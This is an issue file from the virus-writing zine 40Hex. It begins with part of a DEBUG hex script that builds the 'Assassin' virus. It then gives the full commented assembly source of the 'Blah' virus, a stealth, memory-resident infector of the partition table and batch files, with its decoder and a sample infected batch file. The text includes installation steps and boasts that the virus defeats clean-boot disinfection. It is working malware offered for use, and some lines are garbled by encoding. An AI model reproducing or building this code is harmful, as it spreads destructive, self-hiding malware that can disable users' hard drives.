E 03D0 4D 17 51 50 56 52 1E E8 4A FE 1F 5A 72 52 75 50
|
|||
|
E 03E0 52 1E 06 1F 8B 45 11 89 45 15 81 45 11 C1 03 B1
|
|||
|
E 03F0 02 BA BF 03 0E 1F E8 46 FE 1F 5A 72 2D 2E 81 3E
|
|||
|
E 0400 BF 03 44 53 74 0B B8 18 12 CD 2F 80 4C 16 01 EB
|
|||
|
E 0410 19 5E F7 DE 26 8B 45 11 2B C6 26 89 45 15 59 51
|
|||
|
E 0420 51 3B CE 72 02 8B CE E8 15 FE 26 81 6D 11 C1 03
|
|||
|
E 0430 58 58 26 8F 45 17 26 8F 45 15 E8 6F FE 50 B8 18
|
|||
|
E 0440 12 CD 2F 8B 44 16 D1 E8 58 89 04 CB E8 5D FE 2E
|
|||
|
E 0450 FF 2E 81 07 33 C0 CF 2E 8F 06 8F 07 2E 8F 06 91
|
|||
|
E 0460 07 83 EC 04 2E FF 2E 7D 07 20 54 68 69 73 20 69
|
|||
|
E 0470 73 20 5B 41 73 73 61 73 73 69 6E 5D 20 77 72 69
|
|||
|
E 0480 74 74 65 6E 20 62 79 20 44 61 72 6B 20 53 6C 61
|
|||
|
E 0490 79 65 72 20 69 6E 20 4B 65 65 6C 75 6E 67 2E 20
|
|||
|
E 04A0 54 61 69 77 61 6E 20 3C 52 2E 4F 2E 43 3E 20 00
|
|||
|
E 04B0 00 80 00 00 00 5C 00 00 00 6C 00 00 00 44 53
|
|||
|
R CX
|
|||
|
03BF
|
|||
|
W
|
|||
|
Q
|
|||
|
----------------------
|
|||
|
40Hex Number 14 Volume 5 Issue 1 File 005
|
|||
|
|
|||
|
The Blah virus is a memory-resident, stealth, multipartite partition table/
|
|||
|
batch file virus. What follows is the raw source file. After the source file
|
|||
|
is a batch file infected with Blah which demonstrates the workings of the
|
|||
|
virus. To install the virus, simply run this batch file. Or you can assemble
|
|||
|
the source, run the output file, and then execute a batch file. Be cautious
|
|||
|
when running this virus, however, since it immediately infects the partition
|
|||
|
table and your hard drive will become unavailable should you boot from
|
|||
|
diskette. You have been warned!
|
|||
|
|
|||
|
comment ~
|
|||
|
The Blah virus
|
|||
|
The world's only stealth, multipartite PT/BAT infector
|
|||
|
Written by Dark Angel at the end of 1994
|
|||
|
|
|||
|
This virus is "mostly stealth" and "mostly harmless". It infects the
|
|||
|
partition table on hd0 as well as batch files.
|
|||
|
|
|||
|
To install the virus, simply assemble this source to a COM file and run the
|
|||
|
output. The virus will then reside on the partition table of the first hard
|
|||
|
drive of the computer.
|
|||
|
|
|||
|
The partition table portion of the virus loads itself into the slack space
|
|||
|
between the partition table and the first disk partition. The virus assumes
|
|||
|
the first disk partition is the one closest to the partition table, which is
|
|||
|
reasonable. It only infects the partition table on the first physical hard
|
|||
|
drive, since that will always be loaded anyway. The original partition table
|
|||
|
is stored following the virus code in the aforementioned slack space.
|
|||
|
|
|||
|
Since the partition table infector does not copy the partition table itself
|
|||
|
into its code, several effects result. First, the system will not recognise
|
|||
|
the hard drive if it is booted from a floppy. This can be considered a useful
|
|||
|
side-effect, since it prevents disinfection via a clean boot. Additionally,
|
|||
|
when modifying the virus, one must take care to keep the word 0AA55 at offset
|
|||
|
01FE in the file, or else the BIOS will not recognise the partition table as
|
|||
|
a valid one.
|
|||
|
|
|||
|
If you edit a batch file while the virus is in memory, the batch file will
|
|||
|
become infected by the virus, but will load into memory as if it were
|
|||
|
uninfected. When you save the file, it will remain uninfected. However, once
|
|||
|
you run the batch file, it will again become infected.
|
|||
|
|
|||
|
This virus adds 3004 bytes to batch files. However, this file will assemble
|
|||
|
to 1148 bytes, since an encoded form of this file is written to batch files.
|
|||
|
|
|||
|
The virus prepends its own code to the batch files that it infects. This
|
|||
|
code consists of lines which 1. create an executable file 2. run this
|
|||
|
executable file 3. delete the executable file and 4. reruns the batch file.
|
|||
|
The code which creates the executable file is simply a bunch of ECHO
|
|||
|
statements which are redirected into a file. These characters, when run,
|
|||
|
will run the code you see below. The bytes following the ECHO consist of
|
|||
|
code which reassembles and runs the code below and the data of the virus,
|
|||
|
which is encoded in a special printable text-only format. The virus removes
|
|||
|
this file after it has executed it in order to cover its traces. Finally,
|
|||
|
the virus runs the batch file again. This is to allow the stealth to work
|
|||
|
properly. The stealth works by bumping up all read requests on infected
|
|||
|
files by an amount equal to the size of the virus prepended text. The stealth
|
|||
|
is designed to not take effect until after the third file open it sees.
|
|||
|
Since DOS opens batch files each time it needs to execute the next command,
|
|||
|
this is the equivalent of waiting until after two statements have executed.
|
|||
|
This leaves enough time to remove the temporary file and reexecute the batch
|
|||
|
file. Now the stealth kicks in and DOS doesn't even see the virus code in
|
|||
|
the batch file.
|
|||
|
|
|||
|
The virus hides the filelength increase on directory searches (in .BAT files
|
|||
|
only, of course). It also hides itself from reads (with handle calls only).
|
|||
|
It infects when a .BAT file is opened. It stamps files with a 62 second mark,
|
|||
|
but that is for the findfirst/findnext routine only. The checks for previous
|
|||
|
infection do not make any assumptions based on the file creation time.
|
|||
|
|
|||
|
The virus also prevents overwriting of itself in the partition table. It also
|
|||
|
redirects attempts to view absolute sector 0. However, it does not try to
|
|||
|
stop reads to other parts of the disk that are infected, i.e. the sectors
|
|||
|
immediately following the first.
|
|||
|
|
|||
|
The source code to the decoder (the raw text is included in the virus) can
|
|||
|
be found at the end.
|
|||
|
|
|||
|
Anyway, this virus was written mostly because I felt like doing something
|
|||
|
lame. I think I succeeded, with only a modest effort.
|
|||
|
|
|||
|
Dark Angel, Phalcon/Skism, 31 December 1994
|
|||
|
|
|||
|
Happy New Year's!
|
|||
|
~
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
.radix 16
|
|||
|
|
|||
|
org 0
|
|||
|
our_buffer label byte
|
|||
|
|
|||
|
org 80
|
|||
|
line label byte
|
|||
|
|
|||
|
org 100
|
|||
|
|
|||
|
viruslength = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f
|
|||
|
resK = (end_all - our_buffer + 3ff) / 400
|
|||
|
resP = resK * 40
|
|||
|
sector_length = (heap - blah + 1ff) / 200
|
|||
|
|
|||
|
blah: xor bp,bp
|
|||
|
xor si,si
|
|||
|
|
|||
|
cmp [si],20CDh ; check if there is a PSP
|
|||
|
jz in_com ; to see if we are in COM or
|
|||
|
; boot (don't just check SP
|
|||
|
; since COM might not load in
|
|||
|
; a full segment if memory is
|
|||
|
; sparse)
|
|||
|
inc bp
|
|||
|
|
|||
|
; hey! we're in the boot sector or the partition table
|
|||
|
; assume in partition table for the time being
|
|||
|
push si
|
|||
|
cli
|
|||
|
pop ss
|
|||
|
mov sp,-2 ; doesn't really matter
|
|||
|
sti
|
|||
|
|
|||
|
mov ax,200 + sector_length
|
|||
|
mov es,si
|
|||
|
mov bx,7c00 + 200
|
|||
|
mov cx,2
|
|||
|
mov dx,80
|
|||
|
int 13
|
|||
|
|
|||
|
mov dx,0f800
|
|||
|
|
|||
|
db 0ea
|
|||
|
dw offset install, 7b0
|
|||
|
|
|||
|
in_com: mov dx,0f904
|
|||
|
|
|||
|
mov ah,62 ; get the PSP
|
|||
|
int 21 ; also tells existing copies
|
|||
|
; to disable themselves
|
|||
|
; (for NetWare compatability)
|
|||
|
dec bx ; go to MCB so we can
|
|||
|
mov ds,bx ; twiddle with it
|
|||
|
|
|||
|
sub word ptr [si+3],resP ; reserve two K of memory
|
|||
|
sub word ptr [si+12],resP ; in DOS for the virus
|
|||
|
|
|||
|
install: mov cs:init_flag,dl
|
|||
|
mov byte ptr cs:i13_patch,dh
|
|||
|
|
|||
|
mov ds,si ; reserve two K of memory
|
|||
|
mov dx,word ptr ds:413
|
|||
|
sub dx,resK
|
|||
|
mov word ptr ds:413,dx ; from the BIOS count
|
|||
|
mov cl,6
|
|||
|
shl dx,cl ; K -> paragraph
|
|||
|
|
|||
|
les ax,ds:84
|
|||
|
mov cs:old_i21,ax
|
|||
|
mov cs:old_i21+2,es
|
|||
|
|
|||
|
les ax,ds:4c
|
|||
|
mov cs:old_i13,ax
|
|||
|
mov cs:old_i13+2,es
|
|||
|
|
|||
|
mov es,dx
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov si,offset blah
|
|||
|
mov di,si
|
|||
|
mov cx,(offset end_zopy - blah + 1) / 2
|
|||
|
rep movsw
|
|||
|
|
|||
|
mov es,cx
|
|||
|
|
|||
|
mov es:4c,offset i13
|
|||
|
mov es:4e,dx
|
|||
|
|
|||
|
or bp,bp
|
|||
|
jz exit_com
|
|||
|
|
|||
|
exit_boot: mov ax,201 ; read the original partition
|
|||
|
xor cx,cx ; table to 0:7C00
|
|||
|
mov dx,80 ; since the i13 handler is in
|
|||
|
mov es,cx ; place, we can load from where
|
|||
|
inc cx ; the partition table should
|
|||
|
mov bx,7c00 ; be, instead of where it
|
|||
|
pushf
|
|||
|
push es bx ; actually is
|
|||
|
jmp dword ptr [bp+4bh] ; int 13 / iret
|
|||
|
|
|||
|
exit_com: mov es:84,offset i21
|
|||
|
mov es:86,dx
|
|||
|
|
|||
|
infect_hd: push ax cx dx bx ds es
|
|||
|
|
|||
|
push cs cs
|
|||
|
pop es ds
|
|||
|
|
|||
|
mov ax,201
|
|||
|
mov bx,100 + (sector_length*200)
|
|||
|
mov cx,1
|
|||
|
mov dx,80
|
|||
|
call call_i13 ; get original partition table
|
|||
|
|
|||
|
adj_ofs = (100 + (sector_length*200))
|
|||
|
|
|||
|
cmp word ptr cs:[adj_ofs+decoder-blah],'e@'
|
|||
|
jz already_infected
|
|||
|
|
|||
|
mov al,ds:[adj_ofs+1C0]
|
|||
|
cbw
|
|||
|
or ax,ds:[adj_ofs+1C2]
|
|||
|
jnz enough_room
|
|||
|
cmp byte ptr ds:[adj_ofs+1C1],sector_length+1
|
|||
|
jbe already_infected ; not enough room for virus
|
|||
|
|
|||
|
enough_room: mov ax,301 + sector_length ; write to disk
|
|||
|
mov bx,100 ; cx = 1, dx = 80 already
|
|||
|
call call_i13
|
|||
|
|
|||
|
already_infected:
|
|||
|
pop es ds bx dx cx ax
|
|||
|
ret
|
|||
|
|
|||
|
db 'Blah virus',0
|
|||
|
db '(DA/PS)',0
|
|||
|
|
|||
|
; I indulged myself in writing the decoder; it's rather much larger than it
|
|||
|
; needs to be. This was so I could insert random text strings into the code.
|
|||
|
; The decoder creates a file which, when run, will execute the encoded file.
|
|||
|
; In this case, we are encoding the virus. See the beginning for a complete
|
|||
|
; explanation of how the virus works.
|
|||
|
decoder db '@echo <20>PSBAT!<21><>PS<50>'
|
|||
|
fsize dw -1 * (heap - blah)
|
|||
|
db 'XYZ<59><5A>U<EFBFBD>S<01> 2<><32>H<EFBFBD>ج,AêMt<02><><0B>t<05><><EFBFBD>>',0ba,'.com',0Dh,0A
|
|||
|
db '@echo <20><><EFBFBD>2<EFBFBD>YP<59><50><EFBFBD><F3A4ABB8>2૾PS<50>DB<44><42>DA<44>'
|
|||
|
endline: db '>>',0ba,'.com',0Dh,0A
|
|||
|
; The next line is to ease the coding. This way, the same number of statements
|
|||
|
; pass between the running of the temporary program and the reloading of the
|
|||
|
; batch file for both AUTOEXEC.BAT on bootup and regular batch files. Running
|
|||
|
; the temporary file installs the virus into memory. Note the following lines
|
|||
|
; are never seen by the command interpreter if the virus is already resident.
|
|||
|
enddecoder: db '@if %0. == . ',0ba,0Dh,0A
|
|||
|
db '@',0ba,0Dh,0A
|
|||
|
db '@del ',0ba,'.com',0Dh,0A
|
|||
|
; The next line is necessary because autoexec.bat is loaded with %0 == NULL
|
|||
|
; by COMMAND.COM. Without this line, the virus could not infect AUTOEXEC.BAT,
|
|||
|
; which would be a shame.
|
|||
|
db '@if %0. == . autoexec',0Dh,0A
|
|||
|
db '@%0',0Dh,0A
|
|||
|
endcleanup:
|
|||
|
|
|||
|
chain_i13: push [bp+6]
|
|||
|
call dword ptr cs:old_i13
|
|||
|
pushf
|
|||
|
pop [bp+6]
|
|||
|
ret
|
|||
|
|
|||
|
call_i13: pushf
|
|||
|
call dword ptr cs:old_i13
|
|||
|
ret
|
|||
|
|
|||
|
write: mov ah,40
|
|||
|
calli21: pushf
|
|||
|
call dword ptr cs:old_i21
|
|||
|
ret
|
|||
|
|
|||
|
check_signature:and word ptr es:[di+15],0
|
|||
|
push es di cs cs
|
|||
|
pop ds es
|
|||
|
mov ah,3f
|
|||
|
cwd ; mov dx,offset our_buffer
|
|||
|
mov cx,enddecoder - decoder
|
|||
|
call calli21
|
|||
|
|
|||
|
cld
|
|||
|
mov si,offset decoder
|
|||
|
mov di,dx
|
|||
|
mov cx,enddecoder - decoder
|
|||
|
rep cmpsb
|
|||
|
|
|||
|
pop di es
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
i13: clc ; this is patched to
|
|||
|
jnc i13_patch ; disable the i13 handler
|
|||
|
jmp disabled_i13 ; this is a stupid hiccup
|
|||
|
|
|||
|
i13_patch: clc ; this is patched to once
|
|||
|
jc multipartite_installed ; i21 is installed
|
|||
|
|
|||
|
push ax bx ds es
|
|||
|
|
|||
|
mov ax,0AA55 ; offset 02FE of the virus
|
|||
|
; this is the PT signature
|
|||
|
|
|||
|
xor ax,ax
|
|||
|
mov es,ax
|
|||
|
|
|||
|
lds bx,es:84
|
|||
|
mov ax,ds
|
|||
|
cmp ax,cs:old_i21+2
|
|||
|
jz not_DOS_yet
|
|||
|
or ax,ax ; Gets set to address in zero
|
|||
|
jz not_DOS_yet ; segment temporarily. ignore.
|
|||
|
cmp ax,800
|
|||
|
ja not_DOS_yet
|
|||
|
cmp ax,es:28*4+2 ; make sure int 28 handler
|
|||
|
jnz not_DOS_yet ; the same (OS == DOS?)
|
|||
|
cmp bx,cs:old_i21
|
|||
|
jz not_DOS_yet
|
|||
|
install_i21: push cs
|
|||
|
pop ds
|
|||
|
mov ds:old_i21,bx
|
|||
|
mov ds:old_i21+2,ax
|
|||
|
mov es:84,offset i21
|
|||
|
mov es:86,cs
|
|||
|
inc byte ptr ds:i13_patch
|
|||
|
not_DOS_yet: pop es ds bx ax
|
|||
|
multipartite_installed:
|
|||
|
push bp
|
|||
|
mov bp,sp
|
|||
|
|
|||
|
cmp cx,sector_length + 1 ; working on virus area?
|
|||
|
ja jmp_i13
|
|||
|
|
|||
|
cmp dx,80
|
|||
|
jnz jmp_i13
|
|||
|
|
|||
|
cmp ah,2 ; reading partition table?
|
|||
|
jz stealth_i13
|
|||
|
not_read: cmp ah,3 ; write over partition table?
|
|||
|
jnz jmp_i13
|
|||
|
call infect_hd
|
|||
|
|
|||
|
push si cx bx ax
|
|||
|
|
|||
|
mov al,1
|
|||
|
|
|||
|
cmp cl,al ; are we working on partition
|
|||
|
jnz not_write_pt ; table at all?
|
|||
|
|
|||
|
mov cx,sector_length + 1
|
|||
|
call chain_i13
|
|||
|
jc alt_exit_i13
|
|||
|
|
|||
|
not_write_pt: pop ax
|
|||
|
push ax
|
|||
|
|
|||
|
cbw
|
|||
|
sub al,sector_length + 2 ; calculate number of remaining
|
|||
|
add al,cl ; sectors to write
|
|||
|
js alt_exit_i13
|
|||
|
jz alt_exit_i13
|
|||
|
|
|||
|
push cx
|
|||
|
sub cx,sector_length + 2 ; calculate number of sectors
|
|||
|
neg cx ; skipped
|
|||
|
addd: add bh,2 ; and adjust buffer pointer
|
|||
|
loop addd ; accordingly
|
|||
|
pop cx
|
|||
|
|
|||
|
or ah,1 ; ah = 1 so rest_stealth makes
|
|||
|
jmp short rest_stealth ; it a write
|
|||
|
|
|||
|
jmp_i13: pop bp
|
|||
|
disabled_i13: jmp dword ptr cs:old_i13
|
|||
|
|
|||
|
stealth_i13: push si cx bx ax
|
|||
|
call infect_hd
|
|||
|
|
|||
|
mov si,bx
|
|||
|
|
|||
|
mov al,1
|
|||
|
|
|||
|
cmp cl,al
|
|||
|
jnz not_read_pt
|
|||
|
|
|||
|
mov cx,sector_length + 1
|
|||
|
call chain_i13
|
|||
|
jc alt_exit_i13
|
|||
|
|
|||
|
add bh,2 ; adjust buffer ptr
|
|||
|
|
|||
|
not_read_pt: pop ax
|
|||
|
push ax
|
|||
|
push di ax
|
|||
|
mov di,bx
|
|||
|
mov ah,0
|
|||
|
add al,cl
|
|||
|
|
|||
|
cmp al,sector_length + 2
|
|||
|
jb not_reading_more
|
|||
|
mov al,sector_length + 2
|
|||
|
not_reading_more:cmp cl,1
|
|||
|
jnz not_pt
|
|||
|
dec ax
|
|||
|
not_pt: sub al,cl
|
|||
|
jz dont_do_it ; resist temptation!
|
|||
|
|
|||
|
mov cl,8
|
|||
|
shl ax,cl ; zero out sectors
|
|||
|
mov cx,ax
|
|||
|
cbw ; clear ax
|
|||
|
rep stosw
|
|||
|
mov bx,di ; adjust buffer
|
|||
|
|
|||
|
dont_do_it: pop ax di
|
|||
|
mov ah,0
|
|||
|
|
|||
|
mov cl,9
|
|||
|
sub si,bx
|
|||
|
neg si
|
|||
|
shr si,cl
|
|||
|
sub ax,si
|
|||
|
jz alt_exit_i13
|
|||
|
|
|||
|
rest_stealth: sub ax,-200
|
|||
|
mov cx,sector_length + 2
|
|||
|
call chain_i13
|
|||
|
|
|||
|
alt_exit_i13: pop bx
|
|||
|
mov al,bl
|
|||
|
pop bx cx si bp
|
|||
|
iret
|
|||
|
|
|||
|
i24: mov al,3
|
|||
|
iret
|
|||
|
|
|||
|
chain_i21: push [bp+6] ; push flags on stack again
|
|||
|
call dword ptr cs:old_i21
|
|||
|
pushf ; put flags back onto caller's
|
|||
|
pop [bp+6] ; interrupt stack area
|
|||
|
ret
|
|||
|
|
|||
|
infect_bat: mov cx,200 ; conquer the holy batch file!
|
|||
|
move_up: sub bp,cx
|
|||
|
jns $+6
|
|||
|
add cx,bp
|
|||
|
xor bp,bp
|
|||
|
mov es:[di+15],bp ; move file pointer
|
|||
|
|
|||
|
mov ah,3f ; read in portion of the file
|
|||
|
mov dx,offset big_buffer
|
|||
|
call calli21
|
|||
|
|
|||
|
add word ptr es:[di+15],viruslength
|
|||
|
sub word ptr es:[di+15],ax
|
|||
|
call write ; move the data up
|
|||
|
|
|||
|
or bp,bp
|
|||
|
jnz move_up
|
|||
|
|
|||
|
move_up_done: mov word ptr es:[di+15],bp ; go to start of file
|
|||
|
|
|||
|
mov cx,enddecoder - decoder
|
|||
|
mov dx,offset decoder
|
|||
|
call write
|
|||
|
|
|||
|
push es di cs
|
|||
|
pop es
|
|||
|
|
|||
|
mov bp,heap - blah
|
|||
|
mov si,offset blah
|
|||
|
encode_lines: mov di,offset line
|
|||
|
mov cx,20
|
|||
|
encode_line: lodsb
|
|||
|
push ax
|
|||
|
and ax,0F0
|
|||
|
inc ax
|
|||
|
stosb
|
|||
|
pop ax
|
|||
|
and ax,0F
|
|||
|
add al,'A'
|
|||
|
stosb
|
|||
|
dec bp
|
|||
|
jz finished_line
|
|||
|
loop encode_line
|
|||
|
|
|||
|
finished_line: mov cx,6
|
|||
|
mov dx,offset decoder
|
|||
|
call write
|
|||
|
|
|||
|
mov cx,di
|
|||
|
mov dx,offset line
|
|||
|
sub cx,dx
|
|||
|
call write
|
|||
|
|
|||
|
mov cx,enddecoder-endline
|
|||
|
mov dx,offset endline
|
|||
|
call write
|
|||
|
|
|||
|
or bp,bp
|
|||
|
jnz encode_lines
|
|||
|
|
|||
|
pop di es
|
|||
|
|
|||
|
mov cx,endcleanup - enddecoder
|
|||
|
mov dx,offset enddecoder
|
|||
|
call write
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
; check neither extension nor timestamp in case file was renamed or
|
|||
|
; something like that
|
|||
|
|
|||
|
; will hang without this stealth because of the line
|
|||
|
; @%0 that it adds to batch files
|
|||
|
handle_read: push es di si ax cx dx ds bx
|
|||
|
|
|||
|
xor si,si
|
|||
|
|
|||
|
cmp cs:init_flag,0
|
|||
|
jnz dont_alter_read
|
|||
|
|
|||
|
mov ax,1220
|
|||
|
int 2f
|
|||
|
jc dont_alter_read
|
|||
|
|
|||
|
xor bx,bx
|
|||
|
mov bl,es:di
|
|||
|
mov ax,1216
|
|||
|
int 2f ; es:di now -> sft
|
|||
|
jc dont_alter_read
|
|||
|
|
|||
|
pop bx ; restore the file handle
|
|||
|
push bx
|
|||
|
|
|||
|
push es:[di+15] ; save current offset
|
|||
|
|
|||
|
call check_signature
|
|||
|
mov si,viruslength
|
|||
|
pop bx
|
|||
|
jz hide_read
|
|||
|
xor si,si
|
|||
|
hide_read: add bx,si
|
|||
|
mov es:[di+15],bx
|
|||
|
dont_alter_read:pop bx ds dx cx ax
|
|||
|
|
|||
|
call chain_i21
|
|||
|
|
|||
|
sub es:[di+15],si
|
|||
|
|
|||
|
pop si di es
|
|||
|
_iret: pop bp
|
|||
|
iret
|
|||
|
|
|||
|
handle_open: cmp cs:init_flag,0
|
|||
|
jz keep_going
|
|||
|
dec cs:init_flag
|
|||
|
keep_going: call chain_i21
|
|||
|
jc _iret
|
|||
|
push ax cx dx bp si di ds es
|
|||
|
|
|||
|
xchg si,ax ; filehandle to si
|
|||
|
|
|||
|
mov ax,3524
|
|||
|
int 21
|
|||
|
push es bx ; save old int 24 handler
|
|||
|
|
|||
|
xchg bx,si ; filehandle back to bx
|
|||
|
push bx
|
|||
|
mov si,dx ; ds:si->filename
|
|||
|
|
|||
|
push ds
|
|||
|
mov ax,2524 ; set new int 24 handler
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx,offset i24
|
|||
|
call calli21
|
|||
|
pop ds
|
|||
|
|
|||
|
cld
|
|||
|
|
|||
|
find_extension: lodsb ; scan filename for extension
|
|||
|
or al,al ; no extension?
|
|||
|
jz dont_alter_open
|
|||
|
cmp al,'.' ; extension?
|
|||
|
jnz find_extension
|
|||
|
|
|||
|
lodsw ; check if it's .bat
|
|||
|
or ax,2020
|
|||
|
cmp ax,'ab'
|
|||
|
jnz dont_alter_open
|
|||
|
lodsb
|
|||
|
or al,20
|
|||
|
cmp al,'t'
|
|||
|
jnz dont_alter_open
|
|||
|
|
|||
|
mov ax,1220 ; if so, get jft entry
|
|||
|
int 2f
|
|||
|
jc dont_alter_open
|
|||
|
|
|||
|
xor bx,bx
|
|||
|
mov bl,es:di
|
|||
|
mov ax,1216 ; now get SFT
|
|||
|
int 2f
|
|||
|
jc dont_alter_open
|
|||
|
|
|||
|
pop bx ; recover file handle
|
|||
|
push bx
|
|||
|
|
|||
|
mov bp,word ptr es:[di+11] ; save file size
|
|||
|
or bp,bp
|
|||
|
jz dont_alter_open
|
|||
|
|
|||
|
mov byte ptr es:[di+2],2 ; change open mode to r/w
|
|||
|
mov ax,word ptr es:[di+0dh] ; get file time
|
|||
|
and ax,not 1f ; set the seconds field
|
|||
|
or ax,1f
|
|||
|
mov word ptr es:[di+0dh],ax
|
|||
|
|
|||
|
call check_signature
|
|||
|
jz dont_alter1open ; infected already!
|
|||
|
|
|||
|
call infect_bat
|
|||
|
|
|||
|
dont_alter1open:or byte ptr es:[di+6],40 ; set flag to set the time
|
|||
|
and word ptr es:[di+15],0
|
|||
|
mov byte ptr es:[di+2],0 ; restore file open mode
|
|||
|
dont_alter_open:pop bx dx ds
|
|||
|
mov ax,2524
|
|||
|
call calli21
|
|||
|
pop es ds di si bp dx cx ax bp
|
|||
|
iret
|
|||
|
|
|||
|
findfirstnext: call chain_i21 ; standard file length
|
|||
|
push ax bx si ds es ; hiding
|
|||
|
cmp al,-1
|
|||
|
jz dont_alter_fffn
|
|||
|
|
|||
|
mov ah,2f ; get the DTA to es:bx
|
|||
|
int 21
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
cmp byte ptr [bx],-1
|
|||
|
jnz not_extended
|
|||
|
add bx,7
|
|||
|
; won't hide if extension is changed, but otherwise gives it away by disk
|
|||
|
; accesses
|
|||
|
not_extended: cmp word ptr [bx+9],'AB'
|
|||
|
jnz dont_alter_fffn
|
|||
|
cmp byte ptr [bx+0bh],'T'
|
|||
|
jnz dont_alter_fffn
|
|||
|
cmp word ptr [bx+1dh],viruslength
|
|||
|
jb dont_alter_fffn
|
|||
|
mov al,[bx+17]
|
|||
|
and al,1f
|
|||
|
cmp al,1f
|
|||
|
jnz dont_alter_fffn
|
|||
|
and byte ptr [bx+17],not 1f
|
|||
|
sub word ptr [bx+1dh],viruslength
|
|||
|
dont_alter_fffn:pop es ds si bx ax bp
|
|||
|
iret
|
|||
|
|
|||
|
inst_check: cmp bx,0f904
|
|||
|
jnz jmp_i21
|
|||
|
push si di cx
|
|||
|
mov si,offset blah
|
|||
|
mov di,100
|
|||
|
mov cx,offset i13 - offset blah
|
|||
|
db 2e
|
|||
|
rep cmpsb
|
|||
|
jnz not_inst
|
|||
|
|
|||
|
inc byte ptr cs:i13 ; disable existing copy of
|
|||
|
inc byte ptr cs:i21 ; the virus
|
|||
|
|
|||
|
not_inst: pop si di cx
|
|||
|
jmp short jmp_i21
|
|||
|
i21: clc
|
|||
|
jc disabled_i21
|
|||
|
push bp
|
|||
|
mov bp,sp
|
|||
|
cmp ah,11
|
|||
|
jz findfirstnext
|
|||
|
cmp ah,12
|
|||
|
jz findfirstnext
|
|||
|
cmp ah,62
|
|||
|
jz inst_check
|
|||
|
cmp ax,3d00
|
|||
|
jnz not_open
|
|||
|
jmp handle_open
|
|||
|
not_open: cmp ah,3f
|
|||
|
jnz jmp_i21
|
|||
|
jmp handle_read
|
|||
|
|
|||
|
|
|||
|
jmp_i21: pop bp
|
|||
|
disabled_i21: db 0ea ; call original int 21
|
|||
|
heap: ; g
|
|||
|
old_i21 dw ?, ? ; handler
|
|||
|
old_i13 dw ?, ?
|
|||
|
init_flag db ?
|
|||
|
|
|||
|
end_zopy:
|
|||
|
org 100 + ((end_zopy - blah + 1ff) / 200) * 200
|
|||
|
orig_PT db 200 dup (?)
|
|||
|
big_buffer db 200 dup (?)
|
|||
|
end_all:
|
|||
|
|
|||
|
end blah
|
|||
|
|
|||
|
; The complimentary decoder included with every copy of blah
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
.radix 16
|
|||
|
org 100
|
|||
|
|
|||
|
decode: db '<27>PSBAT!<21>' ; translates to some random code
|
|||
|
|
|||
|
mov di,offset buffer
|
|||
|
db 0bdh ; mov bp, datasize
|
|||
|
datasize dw 'Y0'
|
|||
|
|
|||
|
db 'XYZ' ; more text that is also code
|
|||
|
|
|||
|
neg bp
|
|||
|
push bp
|
|||
|
mov si,offset databytes
|
|||
|
keep_going: mov cx,2020
|
|||
|
xor ch,cl
|
|||
|
decode_line: lodsb
|
|||
|
dec ax ; tens digit
|
|||
|
mov bx,ax
|
|||
|
lodsb
|
|||
|
sub al,'A'
|
|||
|
add ax,bx
|
|||
|
stosb
|
|||
|
|
|||
|
dec bp
|
|||
|
jz all_done
|
|||
|
loop decode_line
|
|||
|
all_done: or bp,bp
|
|||
|
jz no_more
|
|||
|
lodsw ; skip CRLF
|
|||
|
jmp keep_going
|
|||
|
|
|||
|
db 0Dh,0A ; split file into two lines
|
|||
|
|
|||
|
no_more: mov ax,0fcfc
|
|||
|
xor ah,al
|
|||
|
pop cx ; how many bytes to move
|
|||
|
push ax
|
|||
|
xchg ax,di
|
|||
|
mov ax,0a4f3
|
|||
|
stosw
|
|||
|
mov ax,0ebebh ; flush prefetch queue
|
|||
|
xor ah,al
|
|||
|
stosw
|
|||
|
|
|||
|
mov si,offset buffer
|
|||
|
mov di,100 + 4144
|
|||
|
sub di,'AD'
|
|||
|
|
|||
|
retn
|
|||
|
|
|||
|
db 0Dh,0Ah ; split the file s'more
|
|||
|
|
|||
|
databytes:
|
|||
|
|
|||
|
org 5350 ; 50/53 == P/S
|
|||
|
buffer:
|
|||
|
|
|||
|
end decode
|
|||
|
------
|
|||
|
@echo <20>PSBAT!<21><>PS<50><53><EFBFBD>XYZ<59><5A>U<EFBFBD>S<01> 2<><32>H<EFBFBD>ج,AêMt<02><><0B>t<05><><EFBFBD>><3E>.com
|
|||
|
@echo <20><><EFBFBD>2<EFBFBD>YP<59><50><EFBFBD><F3A4ABB8>2૾PS<50>DB<44><42>DA<44>>><3E>.com
|
|||
|
@echo 1D<31>N1D<31>G<EFBFBD>B1M<31>N!AqE!AAFQG<51>KH<>M<EFBFBD>O<EFBFBD>P<EFBFBD>L<EFBFBD>IDC<>O<EFBFBD>G<EFBFBD>LAqO<71>JCA<>K<EFBFBD>AA>><3E>.com
|
|||
|
@echo <20>ND<>KA<>I<EFBFBD>K1OB<>AH<>KE<>J<EFBFBD>EaC<61>N!BAL<41>O<EFBFBD>L<EFBFBD>BaMD<>AA<>BaMC<>AA!O<>I>><3E>.com
|
|||
|
@echo GKG!O<>I1G<31>GC<>O<EFBFBD>O<EFBFBD>LGDE<>D<EFBFBD>KD<>JGDE<>BG<>D<EFBFBD>C<EFBFBD>EG<>EA!O<>DC>><3E>.com
|
|||
|
@echo G!O<>MGEG<>EGAMA!O<>DGG!O<>MGIG<>O<EFBFBD>COP<>OAB<>L<EFBFBD>O<EFBFBD>J<EFBFBD>OC<>D>><3E>.com
|
|||
|
@echo <20>F<EFBFBD>O<EFBFBD>B!G<>HGAMA<>AC!G<>JGAOAL<>NqEE<>IBC1D<31>J<EFBFBD>K<EFBFBD>AA<>O<EFBFBD>BAB<41>LA>><3E>.com
|
|||
|
@echo qM<71>MGQD<51>PaOAL!G<>HG<>EA<>LF!G<>JG<>GAQAQBQCQDOGOOHP<>IBC>><3E>.com
|
|||
|
@echo <20>LAH<>JBA<>K<EFBFBD>AA<>I<EFBFBD>CA!O<>B1OJIAAaFqEK<>A<EFBFBD>AI<>ILG<>CIqFH<>A>><3E>.com
|
|||
|
@echo 1O<31>BIEqGJ<>IED<>LAB<>I<EFBFBD>PAHPQLQKQJQI<51>DACaMaBaI!AqGaJqCqFqD>><3E>.com
|
|||
|
